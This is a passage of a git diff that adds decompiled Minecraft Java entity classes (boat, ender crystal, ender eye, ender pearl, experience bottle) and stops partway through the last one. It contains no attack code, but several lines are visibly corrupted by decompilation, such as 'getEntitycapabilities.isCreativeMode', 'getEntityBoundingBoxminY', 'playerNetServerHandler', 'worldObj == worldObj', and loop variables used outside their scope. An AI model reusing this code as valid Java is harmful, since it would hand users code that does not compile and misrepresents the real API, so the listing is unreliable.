+  
+  public void setHeadRotation(Rotations p_175415_1_)
+  {
+    headRotation = p_175415_1_;
+    dataWatcher.updateObject(11, p_175415_1_);
+  }
+  
+  public void setBodyRotation(Rotations p_175424_1_)
+  {
+    bodyRotation = p_175424_1_;
+    dataWatcher.updateObject(12, p_175424_1_);
+  }
+  
+  public void setLeftArmRotation(Rotations p_175405_1_)
+  {
+    leftArmRotation = p_175405_1_;
+    dataWatcher.updateObject(13, p_175405_1_);
+  }
+  
+  public void setRightArmRotation(Rotations p_175428_1_)
+  {
+    rightArmRotation = p_175428_1_;
+    dataWatcher.updateObject(14, p_175428_1_);
+  }
+  
+  public void setLeftLegRotation(Rotations p_175417_1_)
+  {
+    leftLegRotation = p_175417_1_;
+    dataWatcher.updateObject(15, p_175417_1_);
+  }
+  
+  public void setRightLegRotation(Rotations p_175427_1_)
+  {
+    rightLegRotation = p_175427_1_;
+    dataWatcher.updateObject(16, p_175427_1_);
+  }
+  
+  public Rotations getHeadRotation()
+  {
+    return headRotation;
+  }
+  
+  public Rotations getBodyRotation()
+  {
+    return bodyRotation;
+  }
+  
+  public Rotations getLeftArmRotation()
+  {
+    return leftArmRotation;
+  }
+  
+  public Rotations getRightArmRotation()
+  {
+    return rightArmRotation;
+  }
+  
+  public Rotations getLeftLegRotation()
+  {
+    return leftLegRotation;
+  }
+  
+  public Rotations getRightLegRotation()
+  {
+    return rightLegRotation;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityBoat.java b/src/minecraft/net/minecraft/entity/item/EntityBoat.java
new file mode 100644
index 0000000..f948266
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityBoat.java
@@ -0,0 +1,623 @@
+package net.minecraft.entity.item;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityBoat extends Entity
+{
+  private boolean isBoatEmpty;
+  private double speedMultiplier;
+  private int boatPosRotationIncrements;
+  private double boatX;
+  private double boatY;
+  private double boatZ;
+  private double boatYaw;
+  private double boatPitch;
+  private double velocityX;
+  private double velocityY;
+  private double velocityZ;
+  private static final String __OBFID = "CL_00001667";
+  
+  public EntityBoat(World worldIn)
+  {
+    super(worldIn);
+    isBoatEmpty = true;
+    speedMultiplier = 0.07D;
+    preventEntitySpawning = true;
+    setSize(1.5F, 0.6F);
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(17, new Integer(0));
+    dataWatcher.addObject(18, new Integer(1));
+    dataWatcher.addObject(19, new Float(0.0F));
+  }
+  
+
+
+
+
+  public AxisAlignedBB getCollisionBox(Entity entityIn)
+  {
+    return entityIn.getEntityBoundingBox();
+  }
+  
+
+
+
+  public AxisAlignedBB getBoundingBox()
+  {
+    return getEntityBoundingBox();
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return true;
+  }
+  
+  public EntityBoat(World worldIn, double p_i1705_2_, double p_i1705_4_, double p_i1705_6_)
+  {
+    this(worldIn);
+    setPosition(p_i1705_2_, p_i1705_4_, p_i1705_6_);
+    motionX = 0.0D;
+    motionY = 0.0D;
+    motionZ = 0.0D;
+    prevPosX = p_i1705_2_;
+    prevPosY = p_i1705_4_;
+    prevPosZ = p_i1705_6_;
+  }
+  
+
+
+
+  public double getMountedYOffset()
+  {
+    return height * 0.0D - 0.30000001192092896D;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    if ((!worldObj.isRemote) && (!isDead))
+    {
+      if ((riddenByEntity != null) && (riddenByEntity == source.getEntity()) && ((source instanceof net.minecraft.util.EntityDamageSourceIndirect)))
+      {
+        return false;
+      }
+      
+
+      setForwardDirection(-getForwardDirection());
+      setTimeSinceHit(10);
+      setDamageTaken(getDamageTaken() + amount * 10.0F);
+      setBeenAttacked();
+      boolean var3 = ((source.getEntity() instanceof EntityPlayer)) && (getEntitycapabilities.isCreativeMode);
+      
+      if ((var3) || (getDamageTaken() > 40.0F))
+      {
+        if (riddenByEntity != null)
+        {
+          riddenByEntity.mountEntity(this);
+        }
+        
+        if (!var3)
+        {
+          dropItemWithOffset(Items.boat, 1, 0.0F);
+        }
+        
+        setDead();
+      }
+      
+      return true;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+  public void performHurtAnimation()
+  {
+    setForwardDirection(-getForwardDirection());
+    setTimeSinceHit(10);
+    setDamageTaken(getDamageTaken() * 11.0F);
+  }
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return !isDead;
+  }
+  
+  public void func_180426_a(double p_180426_1_, double p_180426_3_, double p_180426_5_, float p_180426_7_, float p_180426_8_, int p_180426_9_, boolean p_180426_10_)
+  {
+    if ((p_180426_10_) && (riddenByEntity != null))
+    {
+      prevPosX = (this.posX = p_180426_1_);
+      prevPosY = (this.posY = p_180426_3_);
+      prevPosZ = (this.posZ = p_180426_5_);
+      rotationYaw = p_180426_7_;
+      rotationPitch = p_180426_8_;
+      boatPosRotationIncrements = 0;
+      setPosition(p_180426_1_, p_180426_3_, p_180426_5_);
+      motionX = (this.velocityX = 0.0D);
+      motionY = (this.velocityY = 0.0D);
+      motionZ = (this.velocityZ = 0.0D);
+    }
+    else
+    {
+      if (isBoatEmpty)
+      {
+        boatPosRotationIncrements = (p_180426_9_ + 5);
+      }
+      else
+      {
+        double var11 = p_180426_1_ - posX;
+        double var13 = p_180426_3_ - posY;
+        double var15 = p_180426_5_ - posZ;
+        double var17 = var11 * var11 + var13 * var13 + var15 * var15;
+        
+        if (var17 <= 1.0D)
+        {
+          return;
+        }
+        
+        boatPosRotationIncrements = 3;
+      }
+      
+      boatX = p_180426_1_;
+      boatY = p_180426_3_;
+      boatZ = p_180426_5_;
+      boatYaw = p_180426_7_;
+      boatPitch = p_180426_8_;
+      motionX = velocityX;
+      motionY = velocityY;
+      motionZ = velocityZ;
+    }
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    velocityX = (this.motionX = x);
+    velocityY = (this.motionY = y);
+    velocityZ = (this.motionZ = z);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (getTimeSinceHit() > 0)
+    {
+      setTimeSinceHit(getTimeSinceHit() - 1);
+    }
+    
+    if (getDamageTaken() > 0.0F)
+    {
+      setDamageTaken(getDamageTaken() - 1.0F);
+    }
+    
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    byte var1 = 5;
+    double var2 = 0.0D;
+    
+    for (int var4 = 0; var4 < var1; var4++)
+    {
+      double var5 = getEntityBoundingBoxminY + (getEntityBoundingBoxmaxY - getEntityBoundingBoxminY) * (var4 + 0) / var1 - 0.125D;
+      double var7 = getEntityBoundingBoxminY + (getEntityBoundingBoxmaxY - getEntityBoundingBoxminY) * (var4 + 1) / var1 - 0.125D;
+      AxisAlignedBB var9 = new AxisAlignedBB(getEntityBoundingBoxminX, var5, getEntityBoundingBoxminZ, getEntityBoundingBoxmaxX, var7, getEntityBoundingBoxmaxZ);
+      
+      if (worldObj.isAABBInMaterial(var9, net.minecraft.block.material.Material.water))
+      {
+        var2 += 1.0D / var1;
+      }
+    }
+    
+    double var19 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+    
+
+
+
+    if (var19 > 0.2975D)
+    {
+      double var6 = Math.cos(rotationYaw * 3.141592653589793D / 180.0D);
+      double var8 = Math.sin(rotationYaw * 3.141592653589793D / 180.0D);
+      
+      for (int var10 = 0; var10 < 1.0D + var19 * 60.0D; var10++)
+      {
+        double var11 = rand.nextFloat() * 2.0F - 1.0F;
+        double var13 = (rand.nextInt(2) * 2 - 1) * 0.7D;
+        
+
+
+        if (rand.nextBoolean())
+        {
+          double var15 = posX - var6 * var11 * 0.8D + var8 * var13;
+          double var17 = posZ - var8 * var11 * 0.8D - var6 * var13;
+          worldObj.spawnParticle(EnumParticleTypes.WATER_SPLASH, var15, posY - 0.125D, var17, motionX, motionY, motionZ, new int[0]);
+        }
+        else
+        {
+          double var15 = posX + var6 + var8 * var11 * 0.7D;
+          double var17 = posZ + var8 - var6 * var11 * 0.7D;
+          worldObj.spawnParticle(EnumParticleTypes.WATER_SPLASH, var15, posY - 0.125D, var17, motionX, motionY, motionZ, new int[0]);
+        }
+      }
+    }
+    
+
+
+
+    if ((worldObj.isRemote) && (isBoatEmpty))
+    {
+      if (boatPosRotationIncrements > 0)
+      {
+        double var6 = posX + (boatX - posX) / boatPosRotationIncrements;
+        double var8 = posY + (boatY - posY) / boatPosRotationIncrements;
+        double var24 = posZ + (boatZ - posZ) / boatPosRotationIncrements;
+        double var26 = MathHelper.wrapAngleTo180_double(boatYaw - rotationYaw);
+        rotationYaw = ((float)(rotationYaw + var26 / boatPosRotationIncrements));
+        rotationPitch = ((float)(rotationPitch + (boatPitch - rotationPitch) / boatPosRotationIncrements));
+        boatPosRotationIncrements -= 1;
+        setPosition(var6, var8, var24);
+        setRotation(rotationYaw, rotationPitch);
+      }
+      else
+      {
+        double var6 = posX + motionX;
+        double var8 = posY + motionY;
+        double var24 = posZ + motionZ;
+        setPosition(var6, var8, var24);
+        
+        if (onGround)
+        {
+          motionX *= 0.5D;
+          motionY *= 0.5D;
+          motionZ *= 0.5D;
+        }
+        
+        motionX *= 0.9900000095367432D;
+        motionY *= 0.949999988079071D;
+        motionZ *= 0.9900000095367432D;
+      }
+    }
+    else
+    {
+      if (var2 < 1.0D)
+      {
+        double var6 = var2 * 2.0D - 1.0D;
+        motionY += 0.03999999910593033D * var6;
+      }
+      else
+      {
+        if (motionY < 0.0D)
+        {
+          motionY /= 2.0D;
+        }
+        
+        motionY += 0.007000000216066837D;
+      }
+      
+      if ((riddenByEntity instanceof EntityLivingBase))
+      {
+        EntityLivingBase var20 = (EntityLivingBase)riddenByEntity;
+        float var21 = riddenByEntity.rotationYaw + -moveStrafing * 90.0F;
+        motionX += -Math.sin(var21 * 3.1415927F / 180.0F) * speedMultiplier * moveForward * 0.05000000074505806D;
+        motionZ += Math.cos(var21 * 3.1415927F / 180.0F) * speedMultiplier * moveForward * 0.05000000074505806D;
+      }
+      
+      double var6 = Math.sqrt(motionX * motionX + motionZ * motionZ);
+      
+      if (var6 > 0.35D)
+      {
+        double var8 = 0.35D / var6;
+        motionX *= var8;
+        motionZ *= var8;
+        var6 = 0.35D;
+      }
+      
+      if ((var6 > var19) && (speedMultiplier < 0.35D))
+      {
+        speedMultiplier += (0.35D - speedMultiplier) / 35.0D;
+        
+        if (speedMultiplier > 0.35D)
+        {
+          speedMultiplier = 0.35D;
+        }
+      }
+      else
+      {
+        speedMultiplier -= (speedMultiplier - 0.07D) / 35.0D;
+        
+        if (speedMultiplier < 0.07D)
+        {
+          speedMultiplier = 0.07D;
+        }
+      }
+      
+
+
+      for (int var22 = 0; var22 < 4; var22++)
+      {
+        int var23 = MathHelper.floor_double(posX + (var22 % 2 - 0.5D) * 0.8D);
+        int var10 = MathHelper.floor_double(posZ + (var22 / 2 - 0.5D) * 0.8D);
+        
+        for (int var25 = 0; var25 < 2; var25++)
+        {
+          int var12 = MathHelper.floor_double(posY) + var25;
+          BlockPos var27 = new BlockPos(var23, var12, var10);
+          Block var14 = worldObj.getBlockState(var27).getBlock();
+          
+          if (var14 == Blocks.snow_layer)
+          {
+            worldObj.setBlockToAir(var27);
+            isCollidedHorizontally = false;
+          }
+          else if (var14 == Blocks.waterlily)
+          {
+            worldObj.destroyBlock(var27, true);
+            isCollidedHorizontally = false;
+          }
+        }
+      }
+      
+      if (onGround)
+      {
+        motionX *= 0.5D;
+        motionY *= 0.5D;
+        motionZ *= 0.5D;
+      }
+      
+      moveEntity(motionX, motionY, motionZ);
+      
+      if ((isCollidedHorizontally) && (var19 > 0.2D))
+      {
+        if ((!worldObj.isRemote) && (!isDead))
+        {
+          setDead();
+          
+          for (var22 = 0; var22 < 3; var22++)
+          {
+            dropItemWithOffset(Item.getItemFromBlock(Blocks.planks), 1, 0.0F);
+          }
+          
+          for (var22 = 0; var22 < 2; var22++)
+          {
+            dropItemWithOffset(Items.stick, 1, 0.0F);
+          }
+        }
+      }
+      else
+      {
+        motionX *= 0.9900000095367432D;
+        motionY *= 0.949999988079071D;
+        motionZ *= 0.9900000095367432D;
+      }
+      
+      rotationPitch = 0.0F;
+      double var8 = rotationYaw;
+      double var24 = prevPosX - posX;
+      double var26 = prevPosZ - posZ;
+      
+      if (var24 * var24 + var26 * var26 > 0.001D)
+      {
+        var8 = (float)(Math.atan2(var26, var24) * 180.0D / 3.141592653589793D);
+      }
+      
+      double var28 = MathHelper.wrapAngleTo180_double(var8 - rotationYaw);
+      
+      if (var28 > 20.0D)
+      {
+        var28 = 20.0D;
+      }
+      
+      if (var28 < -20.0D)
+      {
+        var28 = -20.0D;
+      }
+      
+      rotationYaw = ((float)(rotationYaw + var28));
+      setRotation(rotationYaw, rotationPitch);
+      
+      if (!worldObj.isRemote)
+      {
+        List var16 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox().expand(0.20000000298023224D, 0.0D, 0.20000000298023224D));
+        
+        if ((var16 != null) && (!var16.isEmpty()))
+        {
+          for (int var29 = 0; var29 < var16.size(); var29++)
+          {
+            Entity var18 = (Entity)var16.get(var29);
+            
+            if ((var18 != riddenByEntity) && (var18.canBePushed()) && ((var18 instanceof EntityBoat)))
+            {
+              var18.applyEntityCollision(this);
+            }
+          }
+        }
+        
+        if ((riddenByEntity != null) && (riddenByEntity.isDead))
+        {
+          riddenByEntity = null;
+        }
+      }
+    }
+  }
+  
+  public void updateRiderPosition()
+  {
+    if (riddenByEntity != null)
+    {
+      double var1 = Math.cos(rotationYaw * 3.141592653589793D / 180.0D) * 0.4D;
+      double var3 = Math.sin(rotationYaw * 3.141592653589793D / 180.0D) * 0.4D;
+      riddenByEntity.setPosition(posX + var1, posY + getMountedYOffset() + riddenByEntity.getYOffset(), posZ + var3);
+    }
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    if ((riddenByEntity != null) && ((riddenByEntity instanceof EntityPlayer)) && (riddenByEntity != playerIn))
+    {
+      return true;
+    }
+    
+
+    if (!worldObj.isRemote)
+    {
+      playerIn.mountEntity(this);
+    }
+    
+    return true;
+  }
+  
+
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_)
+  {
+    if (p_180433_3_)
+    {
+      if (fallDistance > 3.0F)
+      {
+        fall(fallDistance, 1.0F);
+        
+        if ((!worldObj.isRemote) && (!isDead))
+        {
+          setDead();
+          
+
+          for (int var6 = 0; var6 < 3; var6++)
+          {
+            dropItemWithOffset(Item.getItemFromBlock(Blocks.planks), 1, 0.0F);
+          }
+          
+          for (var6 = 0; var6 < 2; var6++)
+          {
+            dropItemWithOffset(Items.stick, 1, 0.0F);
+          }
+        }
+        
+        fallDistance = 0.0F;
+      }
+    }
+    else if ((worldObj.getBlockState(new BlockPos(this).offsetDown()).getBlock().getMaterial() != net.minecraft.block.material.Material.water) && (p_180433_1_ < 0.0D))
+    {
+      fallDistance = ((float)(fallDistance - p_180433_1_));
+    }
+  }
+  
+
+
+
+  public void setDamageTaken(float p_70266_1_)
+  {
+    dataWatcher.updateObject(19, Float.valueOf(p_70266_1_));
+  }
+  
+
+
+
+  public float getDamageTaken()
+  {
+    return dataWatcher.getWatchableObjectFloat(19);
+  }
+  
+
+
+
+  public void setTimeSinceHit(int p_70265_1_)
+  {
+    dataWatcher.updateObject(17, Integer.valueOf(p_70265_1_));
+  }
+  
+
+
+
+  public int getTimeSinceHit()
+  {
+    return dataWatcher.getWatchableObjectInt(17);
+  }
+  
+
+
+
+  public void setForwardDirection(int p_70269_1_)
+  {
+    dataWatcher.updateObject(18, Integer.valueOf(p_70269_1_));
+  }
+  
+
+
+
+  public int getForwardDirection()
+  {
+    return dataWatcher.getWatchableObjectInt(18);
+  }
+  
+
+
+
+  public void setIsBoatEmpty(boolean p_70270_1_)
+  {
+    isBoatEmpty = p_70270_1_;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityEnderCrystal.java b/src/minecraft/net/minecraft/entity/item/EntityEnderCrystal.java
new file mode 100644
index 0000000..13bc64e
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityEnderCrystal.java
@@ -0,0 +1,114 @@
+package net.minecraft.entity.item;
+
+import net.minecraft.block.BlockFire;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Blocks;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityEnderCrystal extends Entity
+{
+  public int innerRotation;
+  public int health;
+  private static final String __OBFID = "CL_00001658";
+  
+  public EntityEnderCrystal(World worldIn)
+  {
+    super(worldIn);
+    preventEntitySpawning = true;
+    setSize(2.0F, 2.0F);
+    health = 5;
+    innerRotation = rand.nextInt(100000);
+  }
+  
+  public EntityEnderCrystal(World worldIn, double p_i1699_2_, double p_i1699_4_, double p_i1699_6_)
+  {
+    this(worldIn);
+    setPosition(p_i1699_2_, p_i1699_4_, p_i1699_6_);
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+  protected void entityInit()
+  {
+    dataWatcher.addObject(8, Integer.valueOf(health));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    innerRotation += 1;
+    dataWatcher.updateObject(8, Integer.valueOf(health));
+    int var1 = MathHelper.floor_double(posX);
+    int var2 = MathHelper.floor_double(posY);
+    int var3 = MathHelper.floor_double(posZ);
+    
+    if (((worldObj.provider instanceof net.minecraft.world.WorldProviderEnd)) && (worldObj.getBlockState(new BlockPos(var1, var2, var3)).getBlock() != Blocks.fire))
+    {
+      worldObj.setBlockState(new BlockPos(var1, var2, var3), Blocks.fire.getDefaultState());
+    }
+  }
+  
+
+
+
+  protected void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+
+  protected void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    if ((!isDead) && (!worldObj.isRemote))
+    {
+      health = 0;
+      
+      if (health <= 0)
+      {
+        setDead();
+        
+        if (!worldObj.isRemote)
+        {
+          worldObj.createExplosion(null, posX, posY, posZ, 6.0F, true);
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityEnderEye.java b/src/minecraft/net/minecraft/entity/item/EntityEnderEye.java
new file mode 100644
index 0000000..3671348
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityEnderEye.java
@@ -0,0 +1,226 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+
+public class EntityEnderEye
+  extends Entity
+{
+  private double targetX;
+  private double targetY;
+  private double targetZ;
+  private int despawnTimer;
+  private boolean shatterOrDrop;
+  private static final String __OBFID = "CL_00001716";
+  
+  public EntityEnderEye(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.25F, 0.25F);
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    double var3 = getEntityBoundingBox().getAverageEdgeLength() * 4.0D;
+    var3 *= 64.0D;
+    return distance < var3 * var3;
+  }
+  
+  public EntityEnderEye(World worldIn, double p_i1758_2_, double p_i1758_4_, double p_i1758_6_)
+  {
+    super(worldIn);
+    despawnTimer = 0;
+    setSize(0.25F, 0.25F);
+    setPosition(p_i1758_2_, p_i1758_4_, p_i1758_6_);
+  }
+  
+  public void func_180465_a(BlockPos p_180465_1_)
+  {
+    double var2 = p_180465_1_.getX();
+    int var4 = p_180465_1_.getY();
+    double var5 = p_180465_1_.getZ();
+    double var7 = var2 - posX;
+    double var9 = var5 - posZ;
+    float var11 = MathHelper.sqrt_double(var7 * var7 + var9 * var9);
+    
+    if (var11 > 12.0F)
+    {
+      targetX = (posX + var7 / var11 * 12.0D);
+      targetZ = (posZ + var9 / var11 * 12.0D);
+      targetY = (posY + 8.0D);
+    }
+    else
+    {
+      targetX = var2;
+      targetY = var4;
+      targetZ = var5;
+    }
+    
+    despawnTimer = 0;
+    shatterOrDrop = (rand.nextInt(5) > 0);
+  }
+  
+
+
+
+  public void setVelocity(double x, double y, double z)
+  {
+    motionX = x;
+    motionY = y;
+    motionZ = z;
+    
+    if ((prevRotationPitch == 0.0F) && (prevRotationYaw == 0.0F))
+    {
+      float var7 = MathHelper.sqrt_double(x * x + z * z);
+      prevRotationYaw = (this.rotationYaw = (float)(Math.atan2(x, z) * 180.0D / 3.141592653589793D));
+      prevRotationPitch = (this.rotationPitch = (float)(Math.atan2(y, var7) * 180.0D / 3.141592653589793D));
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    lastTickPosX = posX;
+    lastTickPosY = posY;
+    lastTickPosZ = posZ;
+    super.onUpdate();
+    posX += motionX;
+    posY += motionY;
+    posZ += motionZ;
+    float var1 = MathHelper.sqrt_double(motionX * motionX + motionZ * motionZ);
+    rotationYaw = ((float)(Math.atan2(motionX, motionZ) * 180.0D / 3.141592653589793D));
+    
+    for (rotationPitch = ((float)(Math.atan2(motionY, var1) * 180.0D / 3.141592653589793D)); rotationPitch - prevRotationPitch < -180.0F; prevRotationPitch -= 360.0F) {}
+    
+
+
+
+    while (rotationPitch - prevRotationPitch >= 180.0F)
+    {
+      prevRotationPitch += 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw < -180.0F)
+    {
+      prevRotationYaw -= 360.0F;
+    }
+    
+    while (rotationYaw - prevRotationYaw >= 180.0F)
+    {
+      prevRotationYaw += 360.0F;
+    }
+    
+    rotationPitch = (prevRotationPitch + (rotationPitch - prevRotationPitch) * 0.2F);
+    rotationYaw = (prevRotationYaw + (rotationYaw - prevRotationYaw) * 0.2F);
+    
+    if (!worldObj.isRemote)
+    {
+      double var2 = targetX - posX;
+      double var4 = targetZ - posZ;
+      float var6 = (float)Math.sqrt(var2 * var2 + var4 * var4);
+      float var7 = (float)Math.atan2(var4, var2);
+      double var8 = var1 + (var6 - var1) * 0.0025D;
+      
+      if (var6 < 1.0F)
+      {
+        var8 *= 0.8D;
+        motionY *= 0.8D;
+      }
+      
+      motionX = (Math.cos(var7) * var8);
+      motionZ = (Math.sin(var7) * var8);
+      
+      if (posY < targetY)
+      {
+        motionY += (1.0D - motionY) * 0.014999999664723873D;
+      }
+      else
+      {
+        motionY += (-1.0D - motionY) * 0.014999999664723873D;
+      }
+    }
+    
+    float var10 = 0.25F;
+    
+    if (isInWater())
+    {
+      for (int var3 = 0; var3 < 4; var3++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.WATER_BUBBLE, posX - motionX * var10, posY - motionY * var10, posZ - motionZ * var10, motionX, motionY, motionZ, new int[0]);
+      }
+      
+    }
+    else {
+      worldObj.spawnParticle(EnumParticleTypes.PORTAL, posX - motionX * var10 + rand.nextDouble() * 0.6D - 0.3D, posY - motionY * var10 - 0.5D, posZ - motionZ * var10 + rand.nextDouble() * 0.6D - 0.3D, motionX, motionY, motionZ, new int[0]);
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      setPosition(posX, posY, posZ);
+      despawnTimer += 1;
+      
+      if ((despawnTimer > 80) && (!worldObj.isRemote))
+      {
+        setDead();
+        
+        if (shatterOrDrop)
+        {
+          worldObj.spawnEntityInWorld(new EntityItem(worldObj, posX, posY, posZ, new ItemStack(Items.ender_eye)));
+        }
+        else
+        {
+          worldObj.playAuxSFX(2003, new BlockPos(this), 0);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityEnderPearl.java b/src/minecraft/net/minecraft/entity/item/EntityEnderPearl.java
new file mode 100644
index 0000000..7de3564
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityEnderPearl.java
@@ -0,0 +1,92 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.monster.EntityEndermite;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.entity.projectile.EntityThrowable;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntityEnderPearl extends EntityThrowable
+{
+  private static final String __OBFID = "CL_00001725";
+  
+  public EntityEnderPearl(World worldIn, EntityLivingBase p_i1783_2_)
+  {
+    super(worldIn, p_i1783_2_);
+  }
+  
+  public EntityEnderPearl(World worldIn, double p_i1784_2_, double p_i1784_4_, double p_i1784_6_)
+  {
+    super(worldIn, p_i1784_2_, p_i1784_4_, p_i1784_6_);
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70184_1_)
+  {
+    EntityLivingBase var2 = getThrower();
+    
+    if (entityHit != null)
+    {
+      entityHit.attackEntityFrom(DamageSource.causeThrownDamage(this, var2), 0.0F);
+    }
+    
+    for (int var3 = 0; var3 < 32; var3++)
+    {
+      worldObj.spawnParticle(EnumParticleTypes.PORTAL, posX, posY + rand.nextDouble() * 2.0D, posZ, rand.nextGaussian(), 0.0D, rand.nextGaussian(), new int[0]);
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      if ((var2 instanceof EntityPlayerMP))
+      {
+        EntityPlayerMP var5 = (EntityPlayerMP)var2;
+        
+        if ((playerNetServerHandler.getNetworkManager().isChannelOpen()) && (worldObj == worldObj) && (!var5.isPlayerSleeping()))
+        {
+          if ((rand.nextFloat() < 0.05F) && (worldObj.getGameRules().getGameRuleBooleanValue("doMobSpawning")))
+          {
+            EntityEndermite var4 = new EntityEndermite(worldObj);
+            var4.setSpawnedByPlayer(true);
+            var4.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+            worldObj.spawnEntityInWorld(var4);
+          }
+          
+          if (var2.isRiding())
+          {
+            var2.mountEntity(null);
+          }
+          
+          var2.setPositionAndUpdate(posX, posY, posZ);
+          fallDistance = 0.0F;
+          var2.attackEntityFrom(DamageSource.fall, 5.0F);
+        }
+      }
+      
+      setDead();
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    EntityLivingBase var1 = getThrower();
+    
+    if ((var1 != null) && ((var1 instanceof net.minecraft.entity.player.EntityPlayer)) && (!var1.isEntityAlive()))
+    {
+      setDead();
+    }
+    else
+    {
+      super.onUpdate();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/item/EntityExpBottle.java b/src/minecraft/net/minecraft/entity/item/EntityExpBottle.java
new file mode 100644
index 0000000..be61b99
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/item/EntityExpBottle.java
@@ -0,0 +1,66 @@
+package net.minecraft.entity.item;
+
+import java.util.Random;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.projectile.EntityThrowable;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class EntityExpBottle extends EntityThrowable
+{
+  private static final String __OBFID = "CL_00001726";
+  
+  public EntityExpBottle(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityExpBottle(World worldIn, EntityLivingBase p_i1786_2_)
+  {
+    super(worldIn, p_i1786_2_);
+  }
+  
+  public EntityExpBottle(World worldIn, double p_i1787_2_, double p_i1787_4_, double p_i1787_6_)
+  {
+    super(worldIn, p_i1787_2_, p_i1787_4_, p_i1787_6_);
+  }
+  
+
+
+
+  protected float getGravityVelocity()
+  {
+    return 0.07F;
+  }
+  
+  protected float func_70182_d()
+  {
+    return 0.7F;
+  }
+  
+  protected float func_70183_g()
+  {
+    return -20.0F;
+  }
+  
+
+
+
+  protected void onImpact(MovingObjectPosition p_70184_1_)
+  {
+    if (!worldObj.isRemote)
+    {
